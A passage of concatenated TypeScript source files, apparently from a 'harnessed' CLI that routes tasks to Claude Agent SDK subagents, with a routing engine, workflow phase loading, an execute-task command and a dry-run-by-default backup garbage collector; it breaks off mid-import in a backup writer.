Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from '../completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// Phase 1.5.1 sister review H2 — Anchor 3 (skill install) hard split out of\n// lib/ralphLoop.ts. Anchor 3 (install missing + retry idempotent_check) and\n// Anchor 4 (ralph-loop wedge wrap) are conceptually distinct anchors; keeping\n// them in one file pushed ralphLoop.ts to 65L, contradicting the \"≤50L strict\"\n// claim in ADR 0009 § Decision Errata 3. Splitting Anchor 3 here makes that\n// claim true without an ADR errata — A7 conservation preserved (ADR 0009 main\n// body untouched; the code is brought into compliance with the doc, not vice\n// versa, per D-18 contract-drift prohibition).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { RestartRequiredError } from '../agentDefinition.js'\n\nexport function isInstalled(skill: string, root: string): boolean {\n return existsSync(join(root, skill, 'SKILL.md'))\n}\n\nconst sleep = (ms: number): Promise<void> => new Promise((r) => setTimeout(r, ms))\n\n/** Anchor 3 — install missing + sleep retry idempotent_check. RestartRequired\n * is the extreme bail (settings.json hook needs main-session pickup). */\nexport async function ensureSkillsInstalled(required: string[], skillsRoot: string): Promise<void> {\n for (const name of required) {\n if (isInstalled(name, skillsRoot)) continue\n await sleep(500)\n let retries = 3\n while (retries-- > 0 && !isInstalled(name, skillsRoot)) await sleep(300)\n if (!isInstalled(name, skillsRoot)) {\n throw new RestartRequiredError(\n `Skill ${name} still missing after retry — please exit + restart Claude Code so the plugin takes effect.`,\n )\n }\n }\n}\n","// Phase 1.5 T3.2 — Semantic Router L2 (v0.1 stub, ≤150L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision + D1.5-2 lock + D-20 LOC budget\n// (≤150L). v0.1 is a STUB: `match()` always returns a no-match result. This\n// is intentional — the routing engine's L1 keyword arbitrate (decisionRules.ts)\n// + L3 fallback_supervisor LLM cover all current cases, and ML embedding deps\n// are deferred to v0.2+ per D1.5-2 (RESEARCH § 2.4 fallback-path design).\n//\n// v0.2+ activation triggers (all required):\n// - routing sample corpus grows 30 → 100+ samples across multiple models\n// - user logs surface ≥10 real L1-miss + L3-mis-hit cases\n// - cross-OS CI verifies HuggingFace model fetch on all 3 platforms\n// When activated, ONLY the body of `match()` changes — the contract\n// (`match(prompt, threshold) -> Promise<SemanticMatchResult>`) is frozen here\n// so v0.2+ is a drop-in body swap, not an interface change (PLAN.md § 4 #2/#3).\n//\n// The v0.2+ implementation will: embed `prompt` via lib/embedding.ts\n// (EmbeddingProvider, BGE-small), kNN cosine-similarity against pre-embedded\n// rule trigger phrases, and return the best rule whose confidence ≥ threshold.\n\nimport type { Rule } from './decisionRules.js'\nimport type { EmbeddingProvider } from './lib/embedding.js'\n\n/**\n * Three-state-friendly result of {@link match} — narrow on `matched`:\n * - `matched: true` → `rule` is the semantically-matched rule, `confidence`\n * is the cosine similarity (≥ threshold).\n * - `matched: false` → `rule` is null, `confidence` is 0 (v0.1 stub always).\n *\n * Mirrors the `EngineResult` discriminated-union style (F41 takeaway).\n */\nexport interface SemanticMatchResult {\n /** Whether a rule was matched above the similarity threshold. */\n matched: boolean\n /** The matched rule, or null when `matched` is false. */\n rule: Rule | null\n /** Cosine similarity confidence in [0, 1]; 0 in the v0.1 stub. */\n confidence: number\n}\n\n/** Default similarity threshold — aligned with LangChain industry baseline. */\nexport const DEFAULT_SEMANTIC_THRESHOLD = 0.85\n\n/**\n * Semantic Router L2 — v0.1 STUB.\n *\n * Always returns `{ matched: false, rule: null, confidence: 0 }`. The routing\n * engine calls this between L1 keyword arbitrate and L3 fallback_supervisor;\n * in v0.1 it is a guaranteed pass-through to L3 (RESEARCH § 2.4).\n *\n * @param prompt - the user task prompt to semantically match (unused in v0.1).\n * @param threshold - minimum cosine similarity to count as a match (unused in\n * v0.1; defaults to {@link DEFAULT_SEMANTIC_THRESHOLD}).\n * @returns a Promise of {@link SemanticMatchResult} — always no-match in v0.1.\n */\nexport async function match(\n prompt: string,\n threshold: number = DEFAULT_SEMANTIC_THRESHOLD,\n): Promise<SemanticMatchResult> {\n // v0.1 stub — no embedding, no kNN. Reference the params so the contract is\n // visible to v0.2+ implementers and lint stays clean.\n void prompt\n void threshold\n return { matched: false, rule: null, confidence: 0 }\n}\n\n/**\n * v0.2+ activation seam — constructs the live semantic router once an\n * EmbeddingProvider is available. NOT wired in v0.1; throws to make accidental\n * early use loud rather than silently degrading.\n *\n * @param provider - the embedding provider (BGE-small in v0.2+).\n * @throws always in v0.1 — Semantic Router L2 is deferred (D1.5-2).\n */\nexport function createSemanticRouter(provider: EmbeddingProvider): never {\n void provider\n throw new Error(\n 'Semantic Router L2 is a v0.1 stub — ML embedding deferred to v0.2+ (ADR 0009 / D1.5-2). ' +\n 'Use match() which returns no-match, falling through to the L3 fallback supervisor.',\n )\n}\n","// Phase 1.4 T3.1 → 1.5 T3.4 → 2.2 W4 T4.2 → 3.1 W3 T3.2 main-process routing\n// engine (Pattern N). ADR 0006 § 1 双层架构. Spawns subagents via query({\n// agents: { name: agentDef } }) — never recursive. F33 verbatim <promise>\n// COMPLETE</promise>. D1.4-1 fresh query() reload bypass. D1.4-3 ralphLoopWrap\n// ≤50L. ADR 0008 § 4 接口契约 8 upgrade points. T3.4 (ADR 0009) PRE-arbitrate\n// DAG cycle pre-check + POST-arbitrate L2 semanticRouter (v0.1 stub null\n// pass-through to L3). Phase 3.1 W3 T3.2 (D-04 WIRE-IN): activatePhase +\n// completePhase hooks bridge engine → checkpoint module (W-01 orchestrator\n// PRIMARY extract to engineHook.ts ≤50L; engine.ts ≤200L Karpathy clean).\n\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { emitAudit } from '../audit/hook.js'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport {\n type AgentDefinition,\n type AgentDefinitionOpts,\n type ArbitrateResult,\n createAgent,\n InvalidDecisionError,\n MissingSkillsError,\n RestartRequiredError,\n SkillNotInstalledError,\n type TaskContext,\n} from './agentDefinition.js'\nimport { type DagNode, resolveDag } from './dag.js'\nimport { arbitrate, loadDecisionRules, type Rule } from './decisionRules.js'\nimport {\n MaxIterationsExceededError,\n ralphLoopWrap,\n VerbatimCompleteFailError,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { ensureSkillsInstalled } from './lib/skillInstall.js'\nimport { match as semanticMatch } from './semanticRouter.js'\n\nexport { MaxIterationsExceededError, VerbatimCompleteFailError } from './lib/ralphLoop.js'\n\n/** Engine three-state discriminated union (PLAN.md § 4 接口契约 1+2). */\nexport type EngineResult =\n | { ok: true; result: string; matchedRule: Rule | null }\n | { ok: false; phase: 'arbitrate' | 'install' | 'spawn' | 'verbatim'; error: Error }\n | { aborted: true; reason: string }\n\n/** Routing engine entry options. */\nexport interface RoutingOpts {\n rulesPath?: string // defaults to ./routing/decision_rules.yaml\n skillsRoot?: string // fs root for skill probes; injected by tests/e2e\n spawn?: (agentDef: AgentDefinition) => Promise<string> // test mock seam\n maxIterations?: number // ralph-loop limit (D1.4-3 lock 20)\n spawnTimeoutMs?: number // per-spawn timeout in ms (Anchor 7)\n fallbackSupervisor?: (task: TaskContext) => Promise<string> // L3 兜底\n agentOpts?: AgentDefinitionOpts // factory overrides forwarded into createAgent\n dagNodes?: DagNode[] // optional skill DAG (Kahn pre-check, T3.4)\n semanticThreshold?: number // L2 semanticRouter stub threshold (v0.1 unused)\n}\n\n/** Anchor 6 — production spawn = real sdkSpawn (T4.2). Replaces phase 1.4\n * placeholder; backward-compat test seam preserved via opts.spawn (1-arg). */\nconst defaultSpawn = (\n def: AgentDefinition,\n ctx: { expertName: string; resumeSessionId?: string; onSessionId?: (id: string) => void },\n) => sdkSpawn(def, ctx)\n\nfunction buildDecision(matched: Rule | null): ArbitrateResult {\n if (!matched) {\n return {\n matched_rule_id: null,\n primary_expert: null,\n secondary_expert: null,\n category: 'meta',\n }\n }\n return {\n matched_rule_id: matched.id,\n primary_expert: (matched.decision.primary_expert as string | null) ?? null,\n secondary_expert: (matched.decision.secondary_expert as string | null) ?? null,\n category: matched.domain as ArbitrateResult['category'],\n forbidden_skills: matched.decision.forbidden as string[] | undefined,\n required_skills: matched.decision.required_skills as string[] | undefined,\n }\n}\n\n/** Pattern N — main-process-driven routing engine entry point (≤200L). */\nexport async function runRouting(task: TaskContext, opts: RoutingOpts = {}): Promise<EngineResult> {\n const rulesPath = opts.rulesPath ?? join('routing', 'decision_rules.yaml')\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const maxIter = opts.maxIterations ?? 20\n const userSpawn = opts.spawn\n\n // Step 0 — DAG pre-check (T3.4, ADR 0009). Resolve the optional skill\n // dependency graph via Kahn; a cycle is rejected before arbitrate.\n if (opts.dagNodes && opts.dagNodes.length > 0) {\n const dag = resolveDag(opts.dagNodes)\n if (!dag.ok) {\n const error = new InvalidDecisionError(\n `skill dependency cycle: ${dag.cycle.join(' → ')} (see ADR 0009 § DAG resolver)`,\n )\n return { ok: false, phase: 'arbitrate', error }\n }\n }\n\n // Step 1 — arbitrate (Anchor 1 step 1, L1 keyword routing)\n let rules: Rule[]\n try {\n rules = loadDecisionRules(rulesPath).rules\n } catch (error) {\n return { ok: false, phase: 'arbitrate', error: error as Error }\n }\n const taskCtx = {\n task_type: task.task_type,\n ...(task.override_keywords ? { override_keywords: task.override_keywords } : {}),\n }\n const matched = arbitrate(rules, taskCtx)\n const decision = buildDecision(matched)\n\n if (!matched) {\n // Step 1b — L2 Semantic Router (T3.4). v0.1 stub always returns no-match\n // (rule stays null), so v0.1 is a guaranteed pass-through to L3 below;\n // v0.2+ swaps the stub body only and may resolve `semantic.rule` here.\n const semantic = await semanticMatch(task.task, opts.semanticThreshold)\n void semantic.rule // Step 1b L2 stub; v0.2+ feeds rule; Step 1c L3 fallback below.\n if (opts.fallbackSupervisor) {\n const result = await opts.fallbackSupervisor(task)\n return { ok: true, result, matchedRule: null }\n }\n return {\n ok: false,\n phase: 'arbitrate',\n error: new InvalidDecisionError('no rule matched and no fallbackSupervisor provided'),\n }\n }\n\n // Step 2 — install missing (Anchor 3, lib/ralphLoop.ts)\n try {\n await ensureSkillsInstalled(decision.required_skills ?? [], skillsRoot)\n } catch (error) {\n if (\n error instanceof RestartRequiredError ||\n error instanceof SkillNotInstalledError ||\n error instanceof MissingSkillsError\n ) {\n return { ok: false, phase: 'install', error }\n }\n return { ok: false, phase: 'install', error: error as Error }\n }\n\n // Step 3 — factory (Anchor 1 step 3, T3.2 createAgent)\n let agentDef: AgentDefinition\n try {\n agentDef = await createAgent(task, decision, { ...opts.agentOpts, skillsRoot })\n } catch (error) {\n if (error instanceof SkillNotInstalledError || error instanceof MissingSkillsError) {\n return { ok: false, phase: 'install', error }\n }\n if (error instanceof InvalidDecisionError) {\n return { ok: false, phase: 'arbitrate', error }\n }\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n\n const phaseId = task.phaseId ?? 'unknown' // Phase 3.1 W3 T3.2 (W-04 fix path a)\n await activatePhase(phaseId)\n\n // Step 4+5 spawn + ralph-loop. userSpawn = fresh-session test seam (1-arg by design B-02; resume.ts\n // fresh+reload DEFERRED #2). defaultSpawn captures session_id; ralphLoop propagates iter 2+ (CD-4).\n const expertName = (matched.decision.primary_expert as string | null) ?? 'unknown'\n let capturedSessionId: string | undefined\n const wrappedSpawn = async (\n resumeSessionId?: string,\n onSessionIdInner?: (id: string) => void,\n ): Promise<string> =>\n userSpawn\n ? userSpawn(agentDef)\n : defaultSpawn(agentDef, {\n expertName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n onSessionId: (id) => {\n capturedSessionId = id\n onSessionIdInner?.(id)\n },\n })\n try {\n const result = await ralphLoopWrap(wrappedSpawn, maxIter)\n await completePhase({ phaseId, sessionId: capturedSessionId, status: 'complete' })\n emitAudit(task, decision, matched, 'complete', capturedSessionId)\n return { ok: true, result, matchedRule: matched }\n } catch (error) {\n if (error instanceof MaxIterationsExceededError) {\n emitAudit(task, decision, matched, 'max-iter', capturedSessionId)\n return { aborted: true, reason: error.message }\n }\n if (error instanceof VerbatimCompleteFailError) {\n emitAudit(task, decision, matched, 'verbatim-fail', capturedSessionId)\n return { ok: false, phase: 'verbatim', error }\n }\n emitAudit(task, decision, matched, 'spawn-err', capturedSessionId)\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA). */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): PhasesSchemaType {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw)\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n if (vars) {\n for (const ph of parsed.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return parsed\n}\n","// Phase 5.2 W0 #BH — extract H1 gate duplicate from 5 CLI files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 5-site duplicate (install.ts + install-base.ts + research.ts +\n// manifest-add.ts + execute-task.ts) consolidated here.\n// uninstall.ts uses --yes/--apply variant (NOT --non-interactive) — keep inline.\n\n/**\n * H1 pre-action gate: --non-interactive requires --apply or --dry-run.\n * Exits with code 2 if --non-interactive is set without either flag.\n */\nexport function validateNonInteractiveFlags(\n raw: { nonInteractive?: boolean; apply?: boolean; dryRun?: boolean },\n cmdName: string,\n): void {\n if (raw.nonInteractive && !raw.apply && !raw.dryRun) {\n console.error(\n `error: --non-interactive requires --apply or --dry-run\\n` +\n ` fix: 'harnessed ${cmdName} --non-interactive --dry-run' or '--apply'`,\n )\n process.exit(2)\n }\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state EngineResult → exit code mapping (0 COMPLETE / 1 FAIL / 2 USAGE).\n// Loads execute-task workflow phases.yaml (T3.2 loadPhases) + drives engine.runRouting\n// (T4.2 sdkSpawn-backed). `--model-tier inherit` flag = B-10 escape hatch — overrides\n// per-phase phase.model with 'inherit' for SDK parent-resolve semantics (W3 ModelTier\n// 4th enum). Forward-looking subcommand surface; auto-invocation pushed Phase 2.3.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport { loadPhases } from '../workflow/loadPhases.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n task?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description('Run execute-task workflow (4-phase chain → ralph-loop COMPLETE)')\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option('--apply', 'execute the spawn (default: dry-run preview)')\n .option('--dry-run', 'force dry-run (overrides --apply if both set)')\n .option('--non-interactive', 'CI / scripts — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error('error: --task <text> is required')\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n let phases: ReturnType<typeof loadPhases>\n try {\n phases = loadPhases(`workflows/${workflowName}/phases.yaml`)\n } catch (error) {\n console.error(\n `error: failed to load workflows/${workflowName}/phases.yaml — ${(error as Error).message}`,\n )\n process.exit(2)\n }\n\n // B-10 escape hatch — `--model-tier inherit` overrides all phase.model values.\n if (raw.modelTier === 'inherit') {\n phases = {\n ...phases,\n phases: phases.phases.map((p) => ({ ...p, model: 'inherit' as const })),\n }\n }\n\n const taskCtx: TaskContext = { task: raw.task, task_type: 'execute-task' }\n const isDryRun = raw.dryRun === true || (!raw.apply && !raw.nonInteractive)\n\n // Dry-run path — arbitrate-only preview (mirrors research.ts L52-72).\n if (isDryRun) {\n console.log(\n JSON.stringify({ workflow: phases.workflow, phases: phases.phases, taskCtx }, null, 2),\n )\n process.exit(0)\n }\n\n // --apply path — real spawn via engine.runRouting (T4.2 sdkSpawn).\n const result = await runRouting(taskCtx, {\n maxIterations: raw.maxIterations ?? 20,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 contract 1 — dry-run default): gc follows\n// the same dry-run-default-with-explicit-apply convention as install.\n// Without --apply we list candidates but do not delete; this keeps the\n// safety contract uniform across all destructive harnessed commands.\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n apply?: boolean\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description('Garbage-collect old backup snapshots (dry-run by default)')\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--apply', 'actually delete (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply)')\n .action(async (opts: GcOpts) => {\n const dryRun = opts.dryRun === true || opts.apply !== true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `error: invalid --older-than '${opts.olderThan}'\\n` +\n ` fix: use format <N>{d|h|m|w} e.g. 30d / 24h / 60m / 4w`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = resolve(process.cwd(), '.harnessed-backup')\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log('no backups found (.harnessed-backup/ absent) — nothing to gc')\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(`no snapshots older than ${opts.olderThan} (kept ${kept.size} most-recent)`)\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const verb = dryRun ? 'would delete' : 'deleting'\n console.log(`${verb} ${candidates.length} snapshot(s), ~${totalKb} KB total:`)\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log('\\n(dry-run — re-run with --apply to actually delete)')\n })\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { 